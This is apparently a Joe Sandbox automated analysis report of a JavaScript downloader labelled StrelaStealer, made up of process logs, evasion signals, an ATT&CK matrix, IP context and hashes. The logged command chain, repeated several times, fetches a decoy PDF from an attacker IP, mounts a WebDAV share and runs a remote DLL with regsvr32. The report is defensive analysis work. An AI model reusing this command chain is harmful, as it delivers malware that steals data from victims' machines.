Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3945			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5901			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7644	Thread sleep count: 3945 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7644	Thread sleep count: 5901 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1760132001.0000026FC9E0D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1760132001.0000026FC9DA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2980815754.000001514142B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2982002000.0000015146A5A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1012716259541818656.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1012716259541818656.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1698227709.000002547839A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1700537527.00000254783A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699248211.00000254783A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2981881771.0000015146A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1758988425.0000015146CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1760132001.0000026FC9DDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1760132001.0000026FC9DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000006.00000002.1760132001.0000026FC9DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/3	net.exe, 00000006.00000002.1760132001.0000026FC9DDC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1758988425.0000015146CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588746
Start date and time:	2025-01-11 04:56:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1012716259541818656.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.23.242.162, 84.201.210.23, 23.200.0.33, 23.200.0.21, 192.168.2.4, 20.12.23.50, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:57:31	API Interceptor	22x Sleep call for process: powershell.exe modified
22:57:34	API Interceptor	1x Sleep call for process: net.exe modified
22:57:34	API Interceptor	2x Sleep call for process: svchost.exe modified
22:57:42	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073515141729726
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvre:KooCEYhgYEL0In
MD5:	DCEE66B829083516EBA6953EC26BAB5A
SHA1:	FD5B123CEC3EFB190940C92099327FDFF853B961
SHA-256:	4E3E079D40013336B9BEEBE152B4388826794D931F0CC6B9E3C5160FD0D144F6
SHA-512:	C9844F758BC82A1F1B4752D4336EF5F2A72408A156542C701A2BD40401E905E5AAB5653E7D18B26AD83F7C19C53A9DFB1FB6D9C2CDB2B9A780BFB8A7305F4A28
Malicious:	false
